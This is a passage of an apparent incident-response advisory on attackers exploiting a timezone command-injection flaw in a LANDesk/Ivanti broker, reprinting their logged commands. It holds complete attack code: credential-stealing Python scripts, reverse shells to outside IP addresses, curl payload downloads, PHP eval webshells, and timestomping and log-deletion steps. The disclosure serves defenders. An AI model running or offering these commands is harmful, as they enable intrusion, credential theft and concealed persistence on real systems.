    p = os.popen("export PGPASSWORD={};echo SELECT passwd FROM user_info WHERE
username=\\'admin\\' | psql -d brokerdb -U gsbadmin -h
localhost".format(dbpwd)).read().split("\n")[-4].strip().split(':')
    os.system("tar zxvf {}".format(r))
    while True:
        for f in os.listdir('.'):
            if re.match("php\w{6}", f):
                os.chmod(f, 0o777)
                m = os.popen("./{} {} {} {} root/.certs/{}.key {}".format(f,
p[4], p[5], p[6], p[1], p[1])).read().strip()
                if m:
                    set_msg(dbpwd, "PASSWORD", m)
                    time.sleep(30)
                    set_msg(dbpwd)
                    exit()
else:
    set_msg(dbpwd, 'ERROR', 'NO BACKUP')
}
```

Decoded datetime.php 'timezone' Exploit base64 Scripts

```
{
Sep  5 01:09:59 REDACTED gsb[996]: /etc/php.ini
rewritten with new timezone: ';export PGPASSWORD=`cat
/opt/landesk/broker/broker.conf | grep PGSQL_PW | cut -d '=' -f2-`;echo
"update user_info set organization='||/usr/bin/echo import os, re, base64, time
os.chdir("/tmp")
d = "/backups"
def set_msg(p, t='', m=''):
   if t and m:
       msg = 'AA{}:{}BB'.format(t, base64.b64encode(m.encode()).decode())
   else:
       msg = ''
   os.system('''export PGPASSWORD={};echo "update user_info set
organization='{}' where username='admin'"|psql -d brokerdb -U
gsbadmin'''.format(p, msg))
try:
   r = max([os.path.join(d, f) for f in os.listdir(d) if
os.path.isfile(os.path.join(d, f))], key=os.path.getmtime)
```

```
except:
   r = None
with open("/opt/landesk/broker/broker.conf") as f:
   dbpwd = re.findall("PGSQL_PW=(.*)", f.read
())[0]
if r:
   p = os.popen("export PGPASSWORD={};echo SELECT passwd FROM user_info WHERE
username=\\'admin\\' | psql -d brokerdb -U gsbadmin -h
localhost".format(dbpwd)).read().split("\n")[-4].strip().split(':')
   os.system("tar zxvf {}".format(r))
   while True:
       for f in os.listdir('.'):
           if re.match("php\w{6}", f):
               os.chmod(f, 0o777)
               m = os.popen("./{} {} {} {} root/.certs/{}.key {}".format(f,
p[4], p[5], p[6], p[1], p[1])).read().strip()
               if m:
                   set_msg(dbpwd, "PASSWORD", m)
                   time.sleep(30)
                   set_msg(dbpwd)
                   exit()
else:
   set_msg(dbpwd, 'ERROR', 'NO BACKUP')
| /usr/bin/base64 -d | python||' where username='admin'"|psql -d brokerdb -U
gsbadmin;' (1)
}
```

```
{
Sep  5 01:47:01 REDACTED gsb[2599]: /etc/php.ini
rewritten with new timezone: ';/usr/bin/echo
import os, re, base64, time
os.chdir("/tmp")
d = "/backups"
def set_msg(p, t='', m=''):
   if t and m:
       msg = 'AA{}:{}BB'.format(t, base64.b64encode(m.encode()).decode())
   else:
       msg = ''
   os.system('''export PGPASSWORD={};echo "update user_info set
organization='{}' where username='admin'"|psql -d brokerdb -U
gsbadmin'''.format(p, msg))
try:
   r = max([os.path.join(d, f) for f in os.listdir(d) if
os.path.isfile(os.path.join(d, f))], key=os.path.getmtime)
except:
   r = None
with open("/opt/landesk/broker/broker.conf") as f:
   dbpwd = re.findall("PGSQL_PW=(.*)", f.read
```

```
())[0]
if r:
   p = os.popen("export PGPASSWORD={};echo SELECT passwd FROM user_info WHERE
username=\\'admin\\' | psql -d brokerdb -U gsbadmin -h
localhost".format(dbpwd)).read().split("\n")[-4].strip().split(':')
   os.system("tar zxvf {}".format(r))
   while True:
       for f in os.listdir('.'):
           if re.match("php\w{6}", f):
               os.chmod(f, 0o777)
               m = os.popen("./{} {} {} {} root/.certs/{}.key {}".format(f,
p[4], p[5], p[6], p[1], p[1])).read().strip()
               if m:
                   set_msg(dbpwd, "PASSWORD", m)
                   time.sleep(30)
                   set_msg(dbpwd)
                   exit()
else:
   set_msg(dbpwd, 'ERROR', 'NO BACKUP')
| /usr/bin/base64 -d | python;' (1)
}
```

```
{
Sep  5 02:14:08 REDACTED gsb[1273]: /etc/php.ini
rewritten with new timezone: ';export PGPASSWORD=`cat
/opt/landesk/broker/broker.conf | grep PGSQL_PW | cut -d '=' -f2-`;echo
"update user_info set organization='||/usr/bin/echo import os, re, base64, time
os.chdir("/tmp")
d = "/backups"
def set_msg(p, t='', m=''):
   if t and m:
       msg = 'AA{}:{}BB'.format(t, base64.b64encode(m.encode()).decode())
   else:
       msg = ''
   os.system('''export PGPASSWORD={};echo "update user_info set
organization='{}' where username='admin'"|psql -d brokerdb -U
gsbadmin'''.format(p, msg))
try:
   r = max([os.path.join(d, f) for f in os.listdir(d) if
os.path.isfile(os.path.join(d, f))], key=os.path.getmtime)
except:
   r = None
with open("/opt/landesk/broker/broker.conf") as f:
   dbpwd = re.findall("PGSQL_PW=(.*)", f.read
())[0]
if r:
```

```
   p = os.popen("export PGPASSWORD={};echo SELECT passwd FROM user_info WHERE
username=\\'admin\\' | psql -d brokerdb -U gsbadmin -h
localhost".format(dbpwd)).read().split("\n")[-4].strip().split(':')
   os.system("tar zxvf {}".format(r))
   while True:
       for f in os.listdir('.'):
           if re.match("php\w{6}", f):
               os.chmod(f, 0o777)
               m = os.popen("./{} {} {} {} root/.certs/{}.key {}".format(f,
p[4], p[5], p[6], p[1], p[1])).read().strip()
               if m:
                   set_msg(dbpwd, "PASSWORD", m)
                   time.sleep(30)
                   set_msg(dbpwd)
                   exit()
else:
   set_msg(dbpwd, 'ERROR', 'NO BACKUP')
| /usr/bin/base64 -d | python||' where username='admin'"|psql -d brokerdb -U
gsbadmin;' (1)
}
```

```
{
Sep  5 22:22:06 REDACTED gsb[9367]: /etc/php.ini
rewritten with new timezone: ';export PGPASSWORD=`cat
/opt/landesk/broker/broker.conf | grep PGSQL_PW | cut -d '=' -f2-`;echo
"update user_info set organization='||/usr/bin/echo import os, re, base64, time
os.chdir("/tmp")
d = "/backups"
def set_msg(p, t='', m=''):
   if t and m:
       msg = 'AA{}:{}BB'.format(t, base64.b64encode(m.encode()).decode())
   else:
       msg = ''
   os.system('''export PGPASSWORD={};echo "update user_info set
organization='{}' where username='admin'"|psql -d brokerdb -U
gsbadmin'''.format(p, msg))
try:
   r = max([os.path.join(d, f) for f in os.listdir(d) if
os.path.isfile(os.path.join(d, f))], key=os.path.getmtime)
except:
   r = None
with open("/opt/landesk/broker/broker.conf") as f:
   dbpwd = re.findall("PGSQL_PW=(.*)", f.read
())[0]
if r:
   p = os.popen("export PGPASSWORD={};echo SELECT passwd FROM user_info WHERE
username=\\'admin\\' | psql -d brokerdb -U gsbadmin -h
localhost".format(dbpwd)).read().split("\n")[-4].strip().split(':')
```

```
   os.system("tar zxvf {}".format(r))
   while True:
       for f in os.listdir('.'):
           if re.match("php\w{6}", f):
               os.chmod(f, 0o777)
               m = os.popen("./{} {} {} {} root/.certs/{}.key {}".format(f,
p[4], p[5], p[6], p[1], p[1])).read().strip()
               if m:
                   set_msg(dbpwd, "PASSWORD", m)
                   time.sleep(30)
                   set_msg(dbpwd)
                   exit()
else:
   set_msg(dbpwd, 'ERROR', 'NO BACKUP')
| /usr/bin/base64 -d | python||' where username='admin'"|psql -d brokerdb -U
gsbadmin;' (1)
}
```

```
{
Sep  6 02:39:11 REDACTED gsb[21266]: /etc/php.ini
rewritten with new timezone: ';/usr/bin/echo
import os, re, base64, time
os.chdir("/tmp")
d = "/backups"
def set_msg(p, t='', m=''):
   if t and m:
       msg = 'AA{}:{}BB'.format(t, base64.b64encode(m.encode()).decode())
   else:
       msg = ''
   os.system('''export PGPASSWORD={};echo "update user_info set
organization='{}' where username='admin'"|psql -d brokerdb -U
gsbadmin'''.format(p, msg))
try:
   r = max([os.path.join(d, f) for f in os.listdir(d) if
os.path.isfile(os.path.join(d, f))], key=os.path.getmtime)
except:
   r = None
with open("/opt/landesk/broker/broker.conf") as f:
   dbpwd = re.findall("PGSQL_PW=(.*)", f.read
())[0]
if r:
   p = os.popen("export PGPASSWORD={};echo SELECT passwd FROM user_info WHERE
username=\\'admin\\' | psql -d brokerdb -U gsbadmin -h
localhost".format(dbpwd)).read().split("\n")[-4].strip().split(':')
   os.system("tar zxvf {}".format(r))
   while True:
       for f in os.listdir('.'):
           if re.match("php\w{6}", f):
```

```
                os.chmod(f, 0o777)
                m = os.popen("./{} {} {} {} root/.certs/{}.key {}".format(f,
p[4], p[5], p[6], p[1], p[1])).read().strip()
                if m:
                    set_msg(dbpwd, "PASSWORD", m)
                    time.sleep(30)
                    set_msg(dbpwd)
                    exit()
else:
   set_msg(dbpwd, 'ERROR', 'NO BACKUP')
| /usr/bin/base64 -d | python;' (1)
}
```

```
{
Sep  6 03:03:44 REDACTED gsb[11427]: /etc/php.ini
rewritten with new timezone: ';bash /tmp/Xa27efd2.tmp;' (1)
}
```

```
{
Sep  8 05:18:35 REDACTED gsb[5132]: /etc/php.ini
rewritten with new timezone: ';/sbin/backuptool --backup;' (1)
}
```

```
{
Sep  8 05:19:34 REDACTED gsb[5325]: /etc/php.ini
rewritten with new timezone: ';/usr/bin/echo
import os, re, base64, time
os.chdir("/tmp")
d = "/backups"
def set_msg(p, t='', m=''):
   if t and m:
       msg = 'AA{}:{}BB'.format(t, base64.b64encode(m.encode()).decode())
   else:
       msg = ''
   os.system('''export PGPASSWORD={};echo "update user_info set
organization='{}' where username='admin'"|psql -d brokerdb -U
gsbadmin'''.format(p, msg))
try:
   r = max([os.path.join(d, f) for f in os.listdir(d) if
os.path.isfile(os.path.join(d, f))], key=os.path.getmtime)
except:
   r = None
with open("/opt/landesk/broker/broker.conf") as f:
   dbpwd = re.findall("PGSQL_PW=(.*)", f.read
())[0]
if r:
```

```
   p = os.popen("export PGPASSWORD={};echo SELECT passwd FROM user_info WHERE
username=\\'admin\\' | psql -d brokerdb -U gsbadmin -h
localhost".format(dbpwd)).read().split("\n")[-4].strip().split(':')
   os.system("tar zxvf {}".format(r))
   while True:
       for f in os.listdir('.'):
           if re.match("php\w{6}", f):
               os.chmod(f, 0o777)
               m = os.popen("./{} {} {} {} root/.certs/{}.key {}".format(f,
p[4], p[5], p[6], p[1], p[1])).read().strip()
               if m:
                   set_msg(dbpwd, "PASSWORD", m)
                   time.sleep(30)
                   set_msg(dbpwd)
                   exit()
else:
   set_msg(dbpwd, 'ERROR', 'NO BACKUP')
| /usr/bin/base64 -d | python;' (1)
}
```

```
{
Sep  8 10:37:35 REDACTED gsb[6196]: /etc/php.ini
rewritten with new timezone: ';nc REDACTED
80 -ssl -e /bin/bash;' (1)
}
```

```
{
Sep  8 10:40:38 REDACTED gsb[8758]: /etc/php.ini
rewritten with new timezone: ';curl https://gggg.oyr2ohrm.eyes.sh
/;' (1)
}
```

```
{
Sep  8 10:41:35 REDACTED gsb[7475]: /etc/php.ini
rewritten with new timezone: ';curl 98.98.54.209/a.sh -o /dev/shm/a.sh
;' (1)
}
```

```
{
Sep  8 13:10:37 REDACTED gsb[22555]: /etc/php.ini
rewritten with new timezone: ';nc REDACTED
80 --ssl -e /bin/bash;' (1)
}
```

```
{
Sep  8 13:21:06 REDACTED gsb[24954]: /etc/php.ini
rewritten with new timezone: ';nc REDACTED
80 --ssl -e /bin/bash;' (1)
}
```

```
{
Sep  8 20:23:14 REDACTED gsb[1899]: /etc/php.ini
rewritten with new timezone: ';export PGPASSWORD=`cat
/opt/landesk/broker/broker.conf | grep PGSQL_PW | cut -d '=' -f2-`;echo
"update user_info set organization='||/usr/bin/echo import os, re, base64, time
os.chdir("/tmp")
d = "/backups"
def set_msg(p, t='', m=''):
   if t and m:
       msg = 'AA{}:{}BB'.format(t, base64.b64encode(m.encode()).decode())
   else:
       msg = ''
   os.system('''export PGPASSWORD={};echo "update user_info set
organization='{}' where username='admin'"|psql -d brokerdb -U
gsbadmin'''.format(p, msg))
try:
   r = max([os.path.join(d, f) for f in os.listdir(d) if
os.path.isfile(os.path.join(d, f))], key=os.path.getmtime)
except:
   r = None
with open("/opt/landesk/broker/broker.conf") as f:
   dbpwd = re.findall("PGSQL_PW=(.*)", f.read
())[0]
if r:
   p = os.popen("export PGPASSWORD={};echo SELECT passwd FROM user_info WHERE
username=\\'admin\\' | psql -d brokerdb -U gsbadmin -h
localhost".format(dbpwd)).read().split("\n")[-4].strip().split(':')
   os.system("tar zxvf {}".format(r))
   while True:
       for f in os.listdir('.'):
           if re.match("php\w{6}", f):
               os.chmod(f, 0o777)
               m = os.popen("./{} {} {} {} root/.certs/{}.key {}".format(f,
p[4], p[5], p[6], p[1], p[1])).read().strip()
               if m:
                   set_msg(dbpwd, "PASSWORD", m)
                   time.sleep(30)
                   set_msg(dbpwd)
                   exit()
else:
   set_msg(dbpwd, 'ERROR', 'NO BACKUP')
```

```
| /usr/bin/base64 -d | python||' where username='admin'"|psql -d brokerdb -U
gsbadmin;' (1)
}
```

```
{
Sep 10 04:36:30 REDACTED gsb[16012]: /etc/php.ini
rewritten with new timezone: ';/usr/bin/echo
python -c 'import
socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("45.
33.101.53
",443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.sp
awn("/bin/sh")'== | /usr/bin/base64 -d | /bin/bash;' (1)
}
```

```
{
Sep 10 11:48:32 csa gsb[6829]: /etc/php.ini
rewritten with new timezone: ';/bin/
python -c 'import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connec
t(("156.234.193.18",44345));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);';' (1)
}
```

```
{
Sep 10 05:33:42 REDACTED gsb[17292]: /etc/php.ini
rewritten with new timezone: ';/usr/bin/echo
import os, re, time
os.chdir("/tmp")
d = "/backups/backup-09-01-2024_010101.tar.gz"
with open("/opt/landesk/broker/broker.conf") as f:
   dbpwd = re.findall("PGSQL_PW=(.*)", f.read
())[0]
if os.path.exists(d):
   os.system("tar zxf {}".format(d))
   pwd = os.popen("export PGPASSWORD={};echo SELECT username,passwd FROM
user_info | psql -d brokerdb -U gsbadmin -h
localhost".format(dbpwd)).read().strip()
   p = pwd.split(':')
   k = os.popen("cat root/.certs/{}.0".format(p[1])).read().strip()
   os.system('''export PGPASSWORD={};echo "INSERT INTO blockedcerts
(blockedcerts_idn, core, hash, description, created) VALUES (1, '{}', '1', '{}',
'2024-03-13 05:10:16.926012')"|psql -d brokerdb -U gsbadmin'''.format(dbpwd,
k[0:200], k[200:700]))
   os.system('''export PGPASSWORD={};echo "INSERT INTO blockedcerts
(blockedcerts_idn, core, hash, description, created) VALUES (2, '{}', '2', '{}',
```

```
'2024-03-13 05:10:16.926012')"|psql -d brokerdb -U gsbadmin'''.format(dbpwd,
k[700:900], k[900:]))
   os.system('''export PGPASSWORD={};echo "INSERT INTO blockedcerts
(blockedcerts_idn, core, hash, description, created) VALUES (3, '{}', '3', '{}',
'2024-03-13 05:10:16.926012')"|psql -d brokerdb -U gsbadmin'''.format(dbpwd,
pwd[0:200], pwd[200:700]))
   time.sleep(60)
   os.system('''export PGPASSWORD={};echo "DELETE FROM blockedcerts"|psql -d
brokerdb -U gsbadmin'''.format(dbpwd))
   os.system("rm -rdf *;rm -rf *")== | /usr/bin/base64 -d | python;' (1)
}
```

Appendix B: Sudo Commands

See **Table 14** for a list of known sudo commands executed by the threat actors.

Table 14: Threat Actors' Use of Sudo Commands

Command	Use
sudo: nobody : user NOT in sudoers ; TTY=unknown ; PWD=/opt/landesk/broker/webroot/gsb ; USER=root ; COMMAND=/opt/landesk/ldms/LDClient/ldpclient -i ;export PGPASSWORD=`cat /opt/landesk/broker/broker.conf | grep PGSQL_PW | cut -d '=' -f2-`;echo "update user_info set organization='||/usr/bin/echo aW1wb3J0IG9zLCByZSwgYmFzZTY0LCB0aW1lCm9zLmNoZGlyKCIvdG1wIikK ZCA9ICIvYmFja3VwcyIKZGVmIHNldF9tc2cocCwgdD0nJywgbT0nJyk6CiAgICBp ZiB0IGFuZCBtOgogICAgICAgIG1zZyA9ICdBQXt9Ont9QkInLmZvcm1hdCh0LCBi YXNlNjQuYjY0ZW5jb2RlKG0uZW5jb2RlKCkpLmRlY29kZSgpKQogICAgZWxzZT oKICAgICAgICBtc2cgPSAnJwogICAgb3Muc3lzdGVtKCcnJ2V4cG9ydCBQR1BB U1NXT1JEPXt9O2VjaG8gInVwZGF0ZSB1c2VyX2luZm8gc2V0IG9yZ2FuaXphd Glvbj0ne30nIHdoZXJlIHVzZXJuYW1lPSdhZG1pbicifHBzcWwgLWQgYnJva2VyZ GIgLVUgZ3NiYWRtaW4nJycuZm9ybWF0KHAsIG1zZykpCnRyeToKICAgIHIgPSB tYXgoW29zLnBhdGguam9pbihkLCBmKSBmb3IgZiBpbiBvcy5saXN0ZGlyKGQ pIGlmIG9zLnBhdGguaXNmaWxlKG9zLnBhdGguam9pbihkLCBmKSldLCBrZXk 9b3MucGF0aC5nZXRtdGltZSkKZXhjZXB0OgogICAgciA9IE5vbmUKd2l0aCBvc GVuKCIvb3B0L2xhbmRlc2svYnJva2VyL2Jyb2tlci5jb25mIikgYXMgZjoKICAgIG RicHdkID0gcmUuZmluZGFsbCgiUEdTUUxfUFc9KC4qKSIsIGYucmVhZCgpKVs wXQppZiByOgogICAgcCA9IG9zLnBvcGVuKCJleHBvcnQgUEdQQVNTV09SRD17 fTtlY2hvIFNFTEVDVCBwYXNzd2QgRlJPTSB1c2VyX2luZm8gV0hFUkUgdXNlcm 5hbWU9XFwnYWRtaW5cXCcgfCBwc3FsIC1kIGJyb2tlcmRiIC1VIGdzYmFkbWlu IC1oIGxvY2FsaG9zdCIuZm9ybWF0KGRicHdkKSkucmVhZCgpLnNwbGl0KCJc biIpWy00XS5zdHJpcCgpLnNwbGl0KCc6JykKICAgIG9zLnN5c3RlbSgidGFyIHp 4dmYge30iLmZvcm1hdChyKSkKICAgIHdoaWxlIFRydWU6CiAgICAgICAgZm9yI GYgaW4gb3MubGlzdGRpcignLicpOgogICAgICAgICAgICBpZiByZS5tYXRjaCgicG hwXHd7Nn0iLCBmKToKICAgICAgICAgICAgICAgIG9zLmNobW9kKGYsIDBvNzc 3KQogICAgICAgICAgICAgICAgbSA9IG9zLnBvcGVuKCIuL3t9IHt9IHt9IHt9IHJvb 3QvLmNlcnRzL3t9LmtleSB7fSIuZm9ybWF0KGYsIHBbNF0sIHBbNV0sIHBbNl 0sIHBbMV0sIHBbMV0pKS5yZWFkKCkuc3RyaXAoKQogICAgICAgICAgICAgICAg aWYgbToKICAgICAgICAgICAgICAgICAgICBzZXRfbXNnKGRicHdkLCAiUEFTU1dP UkQiLCBtKQogICAgICAgICAgICAgICAgICAgIHRpbWUuc2xlZXAoMjQwKQogICAgI CAgICAgICAgICAgICAgIHNldF9tc2coZGJwd2QpCiAgICAgICAgICAgICAgICAg ZXhpdCgpCmVsc2U6CiAgICBzZXRfbXNnKGRicHdkLCAnRVJST1InLCAnTk8gQk FDS1VQJykKICAgIAogICAgCg== | /usr/bin/base64 -d | python||' where username='admin'"|psql -d brokerdb -U gsbadmin;	Updates the "organization" field of the "admin" account in the PGSQL database with python script decoded from base64. The python script decompresses the latest backup of the PGSQL database and extracts the password for the gsbadmin account to access the database.

Command	Use
nobody : user NOT in sudoers ; TTY=unknown ; PWD=/usr/bin ; USER=root ; COMMAND=/sbin/setenforce 0	Temporarily disables SELinux.
sudo: admin : TTY=unknown ; PWD=/tmp ; USER=root ; COMMAND=/bin/sh -c echo REDACTED_BASE64_PASSWORD | base64 >/opt/landesk/broker/webroot/gsb/site.cnf	Exfiltrates credentials and places them in a site.cnf webfile.
sudo: admin : TTY=unknown ; PWD=/tmp ; USER=root ; COMMAND=/bin/sh -c echo PD9waHAgZXZhbCgkX1BPU1RbImNiNzg2OGM0NjA zNTQ4NTdiNzE5MjA0ZTI3NjZlZGJlIl0pOw== | base64 -d >/opt/landesk/broker/webroot/gsb/view.php	Creates a webshell at view.php.
sudo: gsbadmin : TTY=unknown ; PWD=/opt/landesk/broker/webroot/gsb ; USER=root ; COMMAND=/subin/tripwire --update ;/usr/bin/echo ZWNobyAiPD9waHAgc3lzdGVtKCcvYmluL3N1ZG8gJy4Gq FwkX1JFUVVFU1RbJ2EnXSk7IiA+IC9vcHQvbGFuZGVzay9icm 9rZXIvd2Vicm9vdC9nc2IvaGVscC5waHA= | /usr/bin/base64 -d | /bin/bash;	Creates a webshell at help.php.
sudo: gsbadmin : TTY=unknown ; PWD=/opt/landesk/broker/webroot/gsb ; USER=root ; COMMAND=/bin/sh -c cd /opt/landesk/broker/webroot/gsb/;sed -i 's/setPhpTimeZone($TIMEZONE)/\/\/ setPhpTimeZone()/g' /opt/landesk/broker/webroot/gsb/DateTimeTab.php	Comments out the function setPhpTimeZone in DateTimeTab.php that logs the full exploit command.
sudo: gsbadmin : TTY=unknown ; PWD=/opt/landesk/broker/webroot/gsb ; USER=root ; COMMAND=/bin/sh -c cd /opt/landesk/broker/webroot/gsb/;sed -i 's/setSystemTimeZone($TIMEZONE)/\/\/ setSystemTimeZone($TIMEZONE)/g' /opt/landesk/broker/webroot/gsb/DateTimeTab.php	Comments out the vulnerable function setSystemTimeZone in DateTimeTab.php.
sudo: gsbadmin : TTY=unknown ; PWD=/opt/landesk/broker/webroot/gsb ; USER=root ; COMMAND=/bin/sh -c cd /opt/landesk/broker/webroot/gsb/;sed -i 's/GSB main page/GSB main page\neval($_POST["in39112cnnpkyc1os01q34gp6r60akgi"])\;/g' /opt/landesk/broker/webroot/client/index.php	Adds a webshell into index.php.

Command	Use
sudo: gsbadmin : TTY=unknown ; PWD=/opt/landesk/broker/webroot/gsb ; USER=root ; COMMAND=/bin/sh -c cd /opt/landesk/broker/webroot/gsb/;sed -i 's/$canvas_height = 600;/$canvas_height = 600;\n\teval($_POST["in39112cnnpkyc1os01q34gp6r60akgi"]);/' /opt/landesk/broker/webroot/gsb/style.php	Adds a webshell into style.php.
sudo: gsbadmin : TTY=unknown ; PWD=/opt/landesk/broker/webroot/gsb ; USER=root ; COMMAND=/bin/sh -c cd /opt/landesk/broker/webroot/gsb/;touch -r /opt/landesk/broker/webroot/client/about.php /opt/landesk/broker/webroot/client/index.php	Timestomping attempt to change the access and modification of time of index.php.
sudo: gsbadmin : TTY=unknown ; PWD=/opt/landesk/broker/webroot/gsb ; USER=root ; COMMAND=/bin/sh -c cd /opt/landesk/broker/webroot/gsb/;touch -r /opt/landesk/broker/webroot/client/about.php /opt/landesk/broker/webroot/gsb/style.php	Timestomping attempt to change the access and modification time of style.php
sudo: gsbadmin : TTY=unknown ; PWD=/opt/landesk/broker/webroot/gsb ; USER=root ; COMMAND=/bin/sh -c cd /opt/landesk/broker/webroot/gsb/;touch -r /opt/landesk/broker/webroot/client/about.php /opt/landesk/broker/webroot/gsb/DateTimeTab.php	Timestomping attempt to change the access and modification time of DateTimeTab.php.
sudo: gsbadmin : TTY=unknown ; PWD=/opt/landesk/broker/webroot/gsb ; USER=root ; COMMAND=/bin/sh -c cd /opt/landesk/broker/webroot/gsb/;rm /opt/landesk/broker/webroot/gsb/help.php	Timestomping attempt to change the access and modification time of help.php
sudo: gsbadmin : TTY=unknown ; PWD=/opt/landesk/broker/webroot/gsb ; USER=root ; COMMAND=/bin/sh -c cd /opt/landesk/broker/webroot/gsb/;rm /var/log/messages	Removes evidence.
sudo: gsbadmin : TTY=unknown ; PWD=/opt/landesk/broker/webroot/gsb ; USER=root ; COMMAND=/bin/sh -c cd /opt/landesk/broker/webroot/gsb/;rm /opt/landesk/broker/webroot/gsb/site.cnf	Removes site.cnf file (exfiltrated credentials).

Command	Use
sudo: gsbadmin : TTY=unknown ; PWD=/opt/landesk/broker/webroot/gsb ; USER=root ; COMMAND=/bin/sh -c cd /opt/landesk/broker/webroot/gsb/;rm /opt/landesk/broker/webroot/client/client.php	Removes one of the original webshells.
sudo: gsbadmin : TTY=unknown ; PWD=/opt/landesk/broker/webroot/gsb ; USER=root ; COMMAND=/bin/sh -c cd /opt/landesk/broker/webroot/gsb/;rm /opt/landesk/broker/webroot/gsb/view.php	Removes one of the original webshells.